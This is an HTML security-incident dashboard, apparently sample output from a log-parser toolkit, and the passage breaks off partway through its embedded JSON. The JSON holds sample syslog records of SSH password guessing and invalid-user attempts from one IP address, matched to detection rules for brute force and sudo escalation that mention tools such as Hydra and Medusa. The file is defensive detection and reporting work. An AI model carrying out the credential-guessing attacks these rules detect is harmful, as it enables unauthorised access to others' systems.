-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsample_report.html
More file actions
1373 lines (1213 loc) · 71.4 KB
/
Copy pathsample_report.html
File metadata and controls
1373 lines (1213 loc) · 71.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Threat Intelligence & Analysis Dashboard</title>
<!-- Google Fonts -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Plus+Jakarta+Sans:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Chart.js CDN -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/3.9.1/chart.min.js"></script>
<style>
:root {
--bg-base: #080b11;
--bg-sidebar: #0f131a;
--bg-card: #121824;
--bg-card-hover: #172030;
--border-color: #1e293b;
--border-active: #3b82f6;
--text-primary: #f8fafc;
--text-secondary: #94a3b8;
--text-muted: #64748b;
--primary: #3b82f6;
--primary-glow: rgba(59, 130, 246, 0.15);
--success: #10b981;
--success-glow: rgba(16, 185, 129, 0.15);
--warning: #f59e0b;
--warning-glow: rgba(245, 158, 11, 0.15);
--danger: #f43f5e;
--danger-glow: rgba(244, 63, 94, 0.2);
--info: #0ea5e9;
--info-glow: rgba(14, 165, 233, 0.2);
--sidebar-width: 270px;
}
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
body {
font-family: 'Plus Jakarta Sans', sans-serif;
background-color: var(--bg-base);
color: var(--text-primary);
display: flex;
min-height: 100vh;
overflow-x: hidden;
}
h1, h2, h3, h4 {
font-weight: 600;
letter-spacing: -0.01em;
}
/* Sidebar styling */
aside {
width: var(--sidebar-width);
background-color: var(--bg-sidebar);
border-right: 1px solid var(--border-color);
display: flex;
flex-direction: column;
position: fixed;
top: 0;
bottom: 0;
left: 0;
z-index: 100;
}
.brand {
padding: 28px 24px;
border-bottom: 1px solid var(--border-color);
display: flex;
align-items: center;
gap: 12px;
}
.brand-logo {
width: 32px;
height: 32px;
background: linear-gradient(135deg, var(--primary), #6366f1);
border-radius: 8px;
display: flex;
align-items: center;
justify-content: center;
font-weight: 700;
color: white;
font-size: 1.1rem;
}
.brand-text {
display: flex;
flex-direction: column;
}
.brand-title {
font-size: 0.95rem;
font-weight: 700;
color: var(--text-primary);
letter-spacing: 0.02em;
}
.brand-sub {
font-size: 0.7rem;
color: var(--text-muted);
font-weight: 500;
text-transform: uppercase;
letter-spacing: 0.05em;
}
.nav-links {
list-style: none;
padding: 24px 16px;
display: flex;
flex-direction: column;
gap: 6px;
flex-grow: 1;
}
.nav-item button {
width: 100%;
padding: 12px 16px;
background: none;
border: 1px solid transparent;
color: var(--text-secondary);
font-family: 'Plus Jakarta Sans', sans-serif;
font-size: 0.9rem;
font-weight: 500;
text-align: left;
border-radius: 8px;
cursor: pointer;
display: flex;
align-items: center;
gap: 12px;
transition: all 0.15s ease;
}
.nav-item button:hover {
background-color: rgba(255, 255, 255, 0.04);
color: var(--text-primary);
}
.nav-item.active button {
background-color: var(--primary);
color: white;
box-shadow: 0 4px 12px rgba(59, 130, 246, 0.25);
font-weight: 600;
}
.aside-footer {
padding: 20px 24px;
border-top: 1px solid var(--border-color);
font-size: 0.75rem;
color: var(--text-muted);
line-height: 1.4;
}
/* Main Content */
main {
margin-left: var(--sidebar-width);
flex-grow: 1;
padding: 40px;
max-width: 1400px;
width: calc(100% - var(--sidebar-width));
}
header {
margin-bottom: 32px;
border-bottom: 1px solid var(--border-color);
padding-bottom: 24px;
display: flex;
justify-content: space-between;
align-items: center;
}
.header-title h1 {
font-size: 1.85rem;
font-weight: 700;
color: var(--text-primary);
margin-bottom: 6px;
}
.header-meta {
font-size: 0.8rem;
color: var(--text-secondary);
display: flex;
gap: 20px;
}
.header-meta span {
display: flex;
align-items: center;
gap: 6px;
}
.status-badge {
background-color: rgba(16, 185, 129, 0.1);
border: 1px solid var(--success);
color: var(--success);
padding: 6px 14px;
border-radius: 6px;
font-size: 0.8rem;
font-weight: 600;
display: flex;
align-items: center;
gap: 6px;
}
/* Tab Visibility */
.tab-content {
display: none;
animation: fadeIn 0.2s ease-out;
}
.tab-content.active {
display: block;
}
@keyframes fadeIn {
from { opacity: 0; transform: translateY(6px); }
to { opacity: 1; transform: translateY(0); }
}
/* KPI Dashboard */
.kpi-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(230px, 1fr));
gap: 20px;
margin-bottom: 32px;
}
.kpi-card {
background: var(--bg-card);
border: 1px solid var(--border-color);
border-radius: 12px;
padding: 24px;
transition: all 0.2s ease;
}
.kpi-card:hover {
transform: translateY(-2px);
border-color: #334155;
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);
}
.kpi-title {
font-size: 0.8rem;
font-weight: 600;
text-transform: uppercase;
letter-spacing: 0.05em;
color: var(--text-secondary);
margin-bottom: 12px;
}
.kpi-value {
font-size: 2.2rem;
font-weight: 700;
color: var(--text-primary);
margin-bottom: 6px;
line-height: 1;
}
.kpi-desc {
font-size: 0.78rem;
color: var(--text-muted);
}
/* Dashboard Grid panels */
.panel {
background: var(--bg-card);
border: 1px solid var(--border-color);
border-radius: 12px;
padding: 24px;
margin-bottom: 24px;
}
.panel-header {
border-bottom: 1px solid var(--border-color);
padding-bottom: 16px;
margin-bottom: 20px;
display: flex;
justify-content: space-between;
align-items: center;
}
.panel-title {
font-size: 1.1rem;
font-weight: 600;
}
.dashboard-grid {
display: grid;
grid-template-columns: 3fr 2fr;
gap: 24px;
margin-bottom: 8px;
}
.chart-container {
position: relative;
height: 280px;
width: 100%;
}
/* Corporate Datadog-style Tables */
.table-responsive {
overflow-x: auto;
width: 100%;
}
table {
width: 100%;
border-collapse: collapse;
text-align: left;
}
th {
padding: 12px 16px;
border-bottom: 2px solid var(--border-color);
color: var(--text-secondary);
font-size: 0.8rem;
font-weight: 600;
text-transform: uppercase;
letter-spacing: 0.03em;
}
td {
padding: 14px 16px;
border-bottom: 1px solid var(--border-color);
font-size: 0.88rem;
vertical-align: middle;
}
tr:hover td {
background-color: rgba(255, 255, 255, 0.015);
}
/* Badges */
.tech-badge {
display: inline-flex;
align-items: center;
padding: 4px 10px;
border-radius: 6px;
font-size: 0.75rem;
font-weight: 600;
border: 1px solid transparent;
}
.tech-badge.danger {
background-color: rgba(244, 63, 94, 0.08);
color: var(--danger);
border-color: rgba(244, 63, 94, 0.2);
}
.tech-badge.warning {
background-color: rgba(245, 158, 11, 0.08);
color: var(--warning);
border-color: rgba(245, 158, 11, 0.2);
}
.tech-badge.success {
background-color: rgba(16, 185, 129, 0.08);
color: var(--success);
border-color: rgba(16, 185, 129, 0.2);
}
.tech-badge.info {
background-color: rgba(14, 165, 233, 0.08);
color: var(--info);
border-color: rgba(14, 165, 233, 0.2);
}
/* Console Search & Filter bar */
.filter-bar {
display: flex;
gap: 16px;
margin-bottom: 24px;
flex-wrap: wrap;
}
.search-wrapper {
flex-grow: 1;
position: relative;
}
.search-input {
width: 100%;
background-color: var(--bg-base);
border: 1px solid var(--border-color);
padding: 12px 16px 12px 40px;
border-radius: 8px;
color: var(--text-primary);
font-family: 'Plus Jakarta Sans', sans-serif;
font-size: 0.9rem;
transition: all 0.15s ease;
}
.search-input:focus {
outline: none;
border-color: var(--primary);
box-shadow: 0 0 0 3px var(--primary-glow);
}
.search-icon {
position: absolute;
left: 14px;
top: 50%;
transform: translateY(-50%);
color: var(--text-muted);
pointer-events: none;
}
.select-filter {
background-color: var(--bg-base);
border: 1px solid var(--border-color);
padding: 12px 16px;
border-radius: 8px;
color: var(--text-primary);
font-family: 'Plus Jakarta Sans', sans-serif;
font-size: 0.9rem;
cursor: pointer;
min-width: 180px;
}
.select-filter:focus {
outline: none;
border-color: var(--primary);
}
/* MITRE ATT&CK Matrix Heatmap */
.mitre-matrix {
display: flex;
gap: 12px;
overflow-x: auto;
padding-bottom: 12px;
align-items: start;
}
.mitre-column {
background-color: #0d121c;
border: 1px solid var(--border-color);
border-radius: 8px;
width: 160px;
min-width: 160px;
display: flex;
flex-direction: column;
}
.mitre-column-header {
background-color: rgba(255, 255, 255, 0.02);
border-bottom: 1px solid var(--border-color);
padding: 12px 10px;
font-size: 0.78rem;
font-weight: 700;
text-align: center;
color: var(--text-secondary);
text-transform: uppercase;
letter-spacing: 0.02em;
}
.mitre-cells-container {
padding: 10px;
display: flex;
flex-direction: column;
gap: 8px;
}
.mitre-cell {
background-color: rgba(255, 255, 255, 0.01);
border: 1px solid var(--border-color);
padding: 10px;
border-radius: 6px;
font-size: 0.72rem;
color: var(--text-muted);
text-align: center;
transition: all 0.15s ease;
position: relative;
}
.mitre-cell:hover {
background-color: rgba(255, 255, 255, 0.04);
border-color: var(--text-secondary);
}
.mitre-cell.active {
background-color: rgba(244, 63, 94, 0.06);
border-color: var(--danger);
color: #fda4af;
font-weight: 600;
}
.mitre-badge {
position: absolute;
top: 2px;
right: 2px;
background-color: var(--danger);
color: white;
font-size: 0.6rem;
font-weight: 700;
padding: 0px 4px;
border-radius: 4px;
}
/* Activity timeline */
.timeline {
position: relative;
padding-left: 32px;
margin-left: 16px;
display: flex;
flex-direction: column;
gap: 24px;
}
.timeline::before {
content: '';
position: absolute;
top: 4px;
bottom: 4px;
left: 0;
width: 2px;
background-color: var(--border-color);
}
.timeline-item {
position: relative;
}
.timeline-marker {
position: absolute;
left: -41px;
top: 4px;
width: 14px;
height: 14px;
border-radius: 50%;
background-color: var(--bg-base);
border: 3px solid var(--border-color);
}
.timeline-item.alert .timeline-marker {
border-color: var(--danger);
background-color: var(--danger);
box-shadow: 0 0 0 3px rgba(244, 63, 94, 0.2);
}
.timeline-time {
font-size: 0.8rem;
color: var(--text-muted);
margin-bottom: 6px;
font-family: 'JetBrains Mono', monospace;
}
.timeline-title {
font-size: 0.95rem;
font-weight: 600;
color: var(--text-primary);
margin-bottom: 6px;
}
.timeline-body {
border: 1px solid var(--border-color);
background-color: rgba(255, 255, 255, 0.01);
padding: 14px;
border-radius: 8px;
font-size: 0.85rem;
color: var(--text-secondary);
}
/* IOC sections */
.ioc-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(320px, 1fr));
gap: 24px;
}
.ioc-card {
border: 1px solid var(--border-color);
background-color: var(--bg-card);
border-radius: 10px;
padding: 20px;
}
.ioc-card-header {
display: flex;
justify-content: space-between;
align-items: center;
border-bottom: 1px solid var(--border-color);
padding-bottom: 12px;
margin-bottom: 16px;
}
.ioc-list {
list-style: none;
max-height: 220px;
overflow-y: auto;
display: flex;
flex-direction: column;
gap: 8px;
}
.ioc-list::-webkit-scrollbar { width: 4px; }
.ioc-list::-webkit-scrollbar-thumb { background: var(--border-color); }
.ioc-item {
background-color: rgba(255, 255, 255, 0.01);
border: 1px solid var(--border-color);
padding: 8px 12px;
font-family: 'JetBrains Mono', monospace;
font-size: 0.8rem;
display: flex;
justify-content: space-between;
align-items: center;
border-radius: 6px;
}
.action-btn {
background: none;
border: none;
color: var(--primary);
cursor: pointer;
font-size: 0.8rem;
font-weight: 500;
}
.action-btn:hover {
text-decoration: underline;
}
/* Raw json viewer */
.raw-dump-container {
margin-top: 10px;
background-color: #090d16;
border: 1px solid var(--border-color);
padding: 16px;
font-family: 'JetBrains Mono', monospace;
font-size: 0.8rem;
white-space: pre-wrap;
display: none;
border-radius: 6px;
color: var(--text-secondary);
}
.toggle-dump {
background: none;
border: none;
color: var(--primary);
cursor: pointer;
font-size: 0.85rem;
font-weight: 500;
}
.toggle-dump:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<!-- Sidebar Navigation -->
<aside>
<div class="brand">
<div class="brand-logo">📊</div>
<div class="brand-text">
<span class="brand-title">LOG PARSER TOOLKIT</span>
<span class="brand-sub">Security Report</span>
</div>
</div>
<ul class="nav-links">
<li class="nav-item active" data-tab="overview">
<button>
Overview Dashboard
</button>
</li>
<li class="nav-item" data-tab="alerts">
<button>
Triggered Alerts
</button>
</li>
<li class="nav-item" data-tab="iocs">
<button>
IOC Intelligence
</button>
</li>
<li class="nav-item" data-tab="mitre">
<button>
MITRE ATT&CK Matrix
</button>
</li>
<li class="nav-item" data-tab="timeline">
<button>
Event Timeline
</button>
</li>
</ul>
<div class="aside-footer">
REPORT GENERATED:<br>
<strong id="generation-date"></strong>
</div>
</aside>
<!-- Main Content Pane -->
<main>
<header>
<div class="header-title">
<h1>Security Incident Report</h1>
<div class="header-meta">
<span id="meta-logsource"></span>
<span id="meta-input"></span>
</div>
</div>
<div class="header-actions">
<div class="status-badge">Analysis Completed</div>
</div>
</header>
<!-- Tab: Overview -->
<div id="overview" class="tab-content active">
<!-- KPI Cards -->
<div class="kpi-grid">
<div class="kpi-card">
<div class="kpi-title">Total Records</div>
<div class="kpi-value" id="kpi-total">0</div>
<div class="kpi-desc">Total log lines processed</div>
</div>
<div class="kpi-card">
<div class="kpi-title">Parser Success</div>
<div class="kpi-value" id="kpi-success-rate">0%</div>
<div class="kpi-desc" id="kpi-success-sub">0 matches</div>
</div>
<div class="kpi-card">
<div class="kpi-title">Triggered Alerts</div>
<div class="kpi-value" id="kpi-alerts" style="color: var(--danger);">0</div>
<div class="kpi-desc">Security events flagged</div>
</div>
<div class="kpi-card">
<div class="kpi-title">Active IOCs</div>
<div class="kpi-value" id="kpi-iocs" style="color: var(--info);">0</div>
<div class="kpi-desc">Unique threats extracted</div>
</div>
</div>
<!-- Dashboard Grid -->
<div class="dashboard-grid">
<div class="panel">
<div class="panel-header">
<h2 class="panel-title">Triggered Security Rules</h2>
</div>
<div class="chart-container">
<canvas id="alertReasonChart"></canvas>
</div>
</div>
<div class="panel">
<div class="panel-header">
<h2 class="panel-title">HTTP Status Code Distribution</h2>
</div>
<div class="chart-container">
<canvas id="statusCodeChart"></canvas>
</div>
</div>
</div>
<!-- Top IP Address Panel -->
<div class="panel">
<div class="panel-header">
<h2 class="panel-title">Top 10 Source IP Addresses</h2>
</div>
<div class="table-responsive">
<table>
<thead>
<tr>
<th>IP Address</th>
<th>Count</th>
<th>Location Context</th>
<th>ASN & ISP Context</th>
<th>Threat Status</th>
</tr>
</thead>
<tbody id="top-ips-tbody">
<!-- Injected by JS -->
</tbody>
</table>
</div>
</div>
</div>
<!-- Tab: Alerts -->
<div id="alerts" class="tab-content">
<div class="panel">
<div class="panel-header">
<h2 class="panel-title">Triggered Security Alerts List</h2>
</div>
<div class="filter-bar">
<div class="search-wrapper">
<span class="search-icon">🔎</span>
<input type="text" id="alerts-search" class="search-input" placeholder="Search alerts by IP, signature, details...">
</div>
<select id="severity-filter" class="select-filter">
<option value="">All Threat Levels</option>
<option value="critical">Critical / High Severity</option>
<option value="high">High Level</option>
<option value="medium">Medium Level</option>
<option value="low">Low Level</option>
</select>
</div>
<div class="table-responsive">
<table>
<thead>
<tr>
<th>Timestamp</th>
<th>Source IP</th>
<th>Level</th>
<th>Rule Reason</th>
<th>Description / Details</th>
<th>MITRE ATT&CK</th>
<th>Action</th>
</tr>
</thead>
<tbody id="alerts-tbody">
<!-- Injected by JS -->
</tbody>
</table>
</div>
</div>
</div>
<!-- Tab: IOCs -->
<div id="iocs" class="tab-content">
<div class="panel">
<div class="panel-header">
<h2 class="panel-title">Indicators of Compromise (IOC) Catalog</h2>
</div>
<div class="ioc-grid" id="ioc-lists-container">
<!-- Injected by JS -->
</div>
</div>
</div>
<!-- Tab: MITRE ATT&CK Map -->
<div id="mitre" class="tab-content">
<div class="panel">
<div class="panel-header">
<h2 class="panel-title">MITRE ATT&CK Matrix Heatmap</h2>
</div>
<div class="mitre-matrix" id="mitre-matrix-container">
<!-- Injected by JS -->
</div>
</div>
</div>
<!-- Tab: Timeline -->
<div id="timeline" class="tab-content">
<div class="panel">
<div class="panel-header">
<h2 class="panel-title">Chronological Log Event Timeline</h2>
</div>
<div class="timeline" id="timeline-container">
<!-- Injected by JS -->
</div>
</div>
</div>
</main>
<script>
// Data injected from Python
const reportData = {"metadata": {"timestamp": "2026-05-24T14:55:32.307956+00:00", "format": "linux", "input_desc": "samples/sample_incident_syslog.log", "duration_seconds": 0.124}, "stats": {"total": 30, "matched": 30, "unmatched": 0, "alerts": 15}, "top_ips": [["185.86.151.24", 20]], "top_status": [], "alert_breakdown": [["SIGMA: SSH Failed Login Attempt", 4], ["SIGMA: SSH Invalid User", 4], ["SSH Brute Force; SIGMA: SSH Failed Login Attempt; SSH Invalid User", 4], ["Privilege Escalation; SIGMA: Sudo Privilege Escalation to Root", 2], ["SSH Brute Force; SIGMA: SSH Failed Login Attempt", 1]], "recent_alerts": [{"timestamp": "2026-05-24T14:12:32Z", "hostname": "server1", "process": "sshd", "pid": "2104", "message": "Failed password for root from 185.86.151.24 port 45120 ssh2", "ip": "185.86.151.24", "raw_line": null, "error": null, "alerts": [], "sigma_alerts": [{"rule_title": "SSH Failed Login Attempt", "rule_id": "a5e1c8b2-3d4f-4e2a-9b1c-7f8e2d3a4b5c", "level": "low", "description": "Detects a single SSH failed login attempt from the sshd process.\nFor stateful brute-force detection across a time window, the built-in\nSSHBruteForceRule in the security analysis engine provides correlation.\n", "tags": ["attack.credential_access", "attack.t1110.001"], "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}], "sigma_rule_titles": "SSH Failed Login Attempt", "sigma_levels": "low", "is_alert": true, "alert_reason": "SIGMA: SSH Failed Login Attempt"}, {"timestamp": "2026-05-24T14:12:37Z", "hostname": "server1", "process": "sshd", "pid": "2105", "message": "Failed password for root from 185.86.151.24 port 45122 ssh2", "ip": "185.86.151.24", "raw_line": null, "error": null, "alerts": [], "sigma_alerts": [{"rule_title": "SSH Failed Login Attempt", "rule_id": "a5e1c8b2-3d4f-4e2a-9b1c-7f8e2d3a4b5c", "level": "low", "description": "Detects a single SSH failed login attempt from the sshd process.\nFor stateful brute-force detection across a time window, the built-in\nSSHBruteForceRule in the security analysis engine provides correlation.\n", "tags": ["attack.credential_access", "attack.t1110.001"], "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}], "sigma_rule_titles": "SSH Failed Login Attempt", "sigma_levels": "low", "is_alert": true, "alert_reason": "SIGMA: SSH Failed Login Attempt"}, {"timestamp": "2026-05-24T14:12:42Z", "hostname": "server1", "process": "sshd", "pid": "2106", "message": "Failed password for root from 185.86.151.24 port 45124 ssh2", "ip": "185.86.151.24", "raw_line": null, "error": null, "alerts": [], "sigma_alerts": [{"rule_title": "SSH Failed Login Attempt", "rule_id": "a5e1c8b2-3d4f-4e2a-9b1c-7f8e2d3a4b5c", "level": "low", "description": "Detects a single SSH failed login attempt from the sshd process.\nFor stateful brute-force detection across a time window, the built-in\nSSHBruteForceRule in the security analysis engine provides correlation.\n", "tags": ["attack.credential_access", "attack.t1110.001"], "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}], "sigma_rule_titles": "SSH Failed Login Attempt", "sigma_levels": "low", "is_alert": true, "alert_reason": "SIGMA: SSH Failed Login Attempt"}, {"timestamp": "2026-05-24T14:12:47Z", "hostname": "server1", "process": "sshd", "pid": "2107", "message": "Failed password for root from 185.86.151.24 port 45126 ssh2", "ip": "185.86.151.24", "raw_line": null, "error": null, "alerts": [], "sigma_alerts": [{"rule_title": "SSH Failed Login Attempt", "rule_id": "a5e1c8b2-3d4f-4e2a-9b1c-7f8e2d3a4b5c", "level": "low", "description": "Detects a single SSH failed login attempt from the sshd process.\nFor stateful brute-force detection across a time window, the built-in\nSSHBruteForceRule in the security analysis engine provides correlation.\n", "tags": ["attack.credential_access", "attack.t1110.001"], "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}], "sigma_rule_titles": "SSH Failed Login Attempt", "sigma_levels": "low", "is_alert": true, "alert_reason": "SIGMA: SSH Failed Login Attempt"}, {"timestamp": "2026-05-24T14:12:52Z", "hostname": "server1", "process": "sshd", "pid": "2108", "message": "Failed password for root from 185.86.151.24 port 45128 ssh2", "ip": "185.86.151.24", "raw_line": null, "error": null, "alerts": [{"is_alert": true, "alert_reason": "SSH Brute Force", "details": "Detected 5 failed logins from 185.86.151.24 within 60s", "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}], "is_alert": true, "alert_reason": "SSH Brute Force; SIGMA: SSH Failed Login Attempt", "details": "Detected 5 failed logins from 185.86.151.24 within 60s", "mitre_technique_ids": "T1110.001", "mitre_tactics": "Credential Access", "sigma_alerts": [{"rule_title": "SSH Failed Login Attempt", "rule_id": "a5e1c8b2-3d4f-4e2a-9b1c-7f8e2d3a4b5c", "level": "low", "description": "Detects a single SSH failed login attempt from the sshd process.\nFor stateful brute-force detection across a time window, the built-in\nSSHBruteForceRule in the security analysis engine provides correlation.\n", "tags": ["attack.credential_access", "attack.t1110.001"], "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}], "sigma_rule_titles": "SSH Failed Login Attempt", "sigma_levels": "low"}, {"timestamp": "2026-05-24T14:13:00Z", "hostname": "server1", "process": "sshd", "pid": "2110", "message": "Invalid user admin from 185.86.151.24 port 45130", "ip": "185.86.151.24", "raw_line": null, "error": null, "alerts": [], "sigma_alerts": [{"rule_title": "SSH Invalid User", "rule_id": "b3f2d9c4-4e5a-4f3b-8c2d-1a2b3c4d5e6f", "level": "medium", "description": "Detects SSH login attempts for usernames that do not exist on the target system. Scanning tools (Hydra, Medusa) often use wordlists that contain invalid usernames, making this a reliable indicator of automated credential attacks.\n", "tags": ["attack.credential_access", "attack.t1110.001"], "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}], "sigma_rule_titles": "SSH Invalid User", "sigma_levels": "medium", "is_alert": true, "alert_reason": "SIGMA: SSH Invalid User"}, {"timestamp": "2026-05-24T14:13:00Z", "hostname": "server1", "process": "sshd", "pid": "2110", "message": "Failed password for invalid user admin from 185.86.151.24 port 45130 ssh2", "ip": "185.86.151.24", "raw_line": null, "error": null, "alerts": [{"is_alert": true, "alert_reason": "SSH Brute Force", "details": "Detected 6 failed logins from 185.86.151.24 within 60s", "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}], "is_alert": true, "alert_reason": "SSH Brute Force; SIGMA: SSH Failed Login Attempt; SSH Invalid User", "details": "Detected 6 failed logins from 185.86.151.24 within 60s", "mitre_technique_ids": "T1110.001", "mitre_tactics": "Credential Access", "sigma_alerts": [{"rule_title": "SSH Failed Login Attempt", "rule_id": "a5e1c8b2-3d4f-4e2a-9b1c-7f8e2d3a4b5c", "level": "low", "description": "Detects a single SSH failed login attempt from the sshd process.\nFor stateful brute-force detection across a time window, the built-in\nSSHBruteForceRule in the security analysis engine provides correlation.\n", "tags": ["attack.credential_access", "attack.t1110.001"], "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}, {"rule_title": "SSH Invalid User", "rule_id": "b3f2d9c4-4e5a-4f3b-8c2d-1a2b3c4d5e6f", "level": "medium", "description": "Detects SSH login attempts for usernames that do not exist on the target system. Scanning tools (Hydra, Medusa) often use wordlists that contain invalid usernames, making this a reliable indicator of automated credential attacks.\n", "tags": ["attack.credential_access", "attack.t1110.001"], "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}], "sigma_rule_titles": "SSH Failed Login Attempt; SSH Invalid User", "sigma_levels": "low; medium"}, {"timestamp": "2026-05-24T14:13:03Z", "hostname": "server1", "process": "sshd", "pid": "2111", "message": "Invalid user guest from 185.86.151.24 port 45132", "ip": "185.86.151.24", "raw_line": null, "error": null, "alerts": [], "sigma_alerts": [{"rule_title": "SSH Invalid User", "rule_id": "b3f2d9c4-4e5a-4f3b-8c2d-1a2b3c4d5e6f", "level": "medium", "description": "Detects SSH login attempts for usernames that do not exist on the target system. Scanning tools (Hydra, Medusa) often use wordlists that contain invalid usernames, making this a reliable indicator of automated credential attacks.\n", "tags": ["attack.credential_access", "attack.t1110.001"], "mitre_attack": {"technique_id": "T1110.001", "technique_name": "Brute Force: Password Guessing", "tactic": "Credential Access", "tactic_id": "TA0006", "reference": "https://attack.mitre.org/techniques/T1110/001/"}}], "sigma_rule_titles": "SSH Invalid User", "sigma_levels": "medium", "is_alert": true, "alert_reason": "SIGMA: SSH Invalid User"}, {"timestamp": "2026-05-24T14:13:03Z", "hostname": "server1", "process": "sshd", "pid": "2111", "message": "Failed password for invalid user guest from 185.86.151.24 port 45132 ssh2", "ip": "185.86.151.24", "raw_line": null, "error": null, "alerts": [{"is_alert": true, "alert_reason": "SSH Brute Force", "details": "Detected 